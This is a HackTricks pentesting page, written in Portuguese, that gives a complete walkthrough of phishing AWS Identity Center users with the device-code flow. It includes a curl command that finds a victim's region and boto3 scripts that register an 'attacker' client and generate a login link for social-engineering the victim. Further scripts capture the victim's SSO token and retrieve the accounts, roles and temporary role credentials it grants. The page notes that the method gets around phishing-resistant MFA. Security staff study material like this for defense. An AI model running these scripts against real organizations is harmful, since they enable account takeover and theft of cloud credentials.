AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Inicialmente proposto neste post de blog, é possível enviar um link para um usuário usando AWS SSO que, se o usuário aceitar, o atacante poderá obter um token para se passar pelo usuário e acessar todos os papéis que o usuário pode acessar no Identity Center.

Para realizar este ataque, os requisitos são:

  • A vítima precisa usar Identity Center

  • O atacante deve conhecer o subdomínio usado pela vítima <victimsub>.awsapps.com/start

Apenas com as informações anteriores, o atacante poderá enviar um link para o usuário que, se aceito, concederá acesso ao atacante sobre a conta do usuário AWS.

Ataque

  1. Encontrando o subdomínio

O primeiro passo do atacante é descobrir o subdomínio que a empresa vítima está usando em seu Identity Center. Isso pode ser feito via OSINT ou adivinhação + BF, já que a maioria das empresas usará seu nome ou uma variação de seu nome aqui.

Com essa informação, é possível obter a região onde o Identity Center foi configurado com:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Gerar o link para a vítima e enviá-lo

Execute o seguinte código para gerar um link de login AWS SSO para que a vítima possa se autenticar. Para a demonstração, execute este código em um console python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!

  1. Espere até que a vítima aceite

Se a vítima já estava logada no AWS, ela só precisará aceitar a concessão das permissões; se não estava, precisará fazer login e então aceitar a concessão das permissões. É assim que o prompt se parece atualmente:

  1. Obtenha o token de acesso SSO

Se a vítima aceitou o prompt, execute este código para gerar um token SSO se passando pelo usuário:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

O token de acesso SSO é válido por 8h.

  1. Impersonar o usuário

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

É interessante saber que o ataque anterior funciona mesmo se um "MFA infalível" (webAuth) estiver sendo usado. Isso ocorre porque o fluxo de trabalho anterior nunca sai do domínio OAuth usado. Diferente de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso, o fluxo de trabalho do código do dispositivo é preparado para que um código seja conhecido por um dispositivo e o usuário possa fazer login mesmo em uma máquina diferente. Se o prompt for aceito, o dispositivo, apenas por conhecer o código inicial, será capaz de recuperar credenciais para o usuário.

Para mais informações sobre isso verifique este post.

Ferramentas Automáticas

Referências

Support HackTricks

Last updated